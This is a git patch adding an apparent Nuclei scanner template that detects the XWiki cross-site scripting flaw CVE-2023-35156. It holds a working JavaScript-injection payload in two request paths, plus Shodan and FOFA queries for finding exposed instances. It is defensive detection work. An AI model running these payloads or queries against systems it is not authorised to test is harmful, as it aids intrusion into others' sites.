From 503c4d663c6b5bed3da66f13bc79eb28bde626df Mon Sep 17 00:00:00 2001 From: Ritik Chaddha <44563978+ritikchaddha@users.noreply.github.com> Date: Thu, 4 Jul 2024 17:46:40 +0530 Subject: [PATCH] Create CVE-2023-35156.yaml --- http/cves/2023/CVE-2023-35156.yaml | 54 ++++++++++++++++++++++++++++++ 1 file changed, 54 insertions(+) create mode 100644 http/cves/2023/CVE-2023-35156.yaml diff --git a/http/cves/2023/CVE-2023-35156.yaml b/http/cves/2023/CVE-2023-35156.yaml new file mode 100644 index 0000000000..30cfd45f94 --- /dev/null +++ b/http/cves/2023/CVE-2023-35156.yaml @@ -0,0 +1,54 @@ +id: CVE-2023-35156 + +info: + name: XWiki >= 6.0-rc-1 - Cross-Site Scripting + author: ritikchaddha + severity: medium + description: | + XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Users are able to forge an URL with a payload allowing to inject Javascript in the page (XSS). It's possible to exploit the delete template to perform a XSS, e.g. by using URL such as: > xwiki/bin/get/FlamingoThemes/Cerulean?xpage=xpart&vm=delete.vm&xredirect=javascript:alert(document.domain). This vulnerability exists since XWiki 6.0-rc-1. + impact: | + Successful exploitation could lead to cross-site scripting. + remediation: | + This vulnerability has been patched in XWiki 14.10.6,15.1. + reference: + - https://jira.xwiki.org/browse/XWIKI-20341 + - https://nvd.nist.gov/vuln/detail/CVE-2023-35156 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2023-35156 + cwe-id: CWE-79 + cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:* + metadata: + max-request: 2 + verified: true + vendor: xwiki + product: xwiki + shodan-query: html:"data-xwiki-reference" + fofa-query: body="data-xwiki-reference" + tags: cve,cve2023,xwiki,xss + +http: + - method: GET + path: + - "{{BaseURL}}/xwiki/bin/get/FlamingoThemes/Cerulean?xpage=xpart&vm=delete.vm&xredirect=javascript:alert(document.domain)" + - "{{BaseURL}}/bin/get/FlamingoThemes/Cerulean?xpage=xpart&vm=delete.vm&xredirect=javascript:alert(document.domain)" + + stop-at-first-match: true + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'cancel" href="javascript:alert(document.domain)' + + - type: word + part: header + words: + - 'text/html' + + - type: status + status: + - 200 + - 401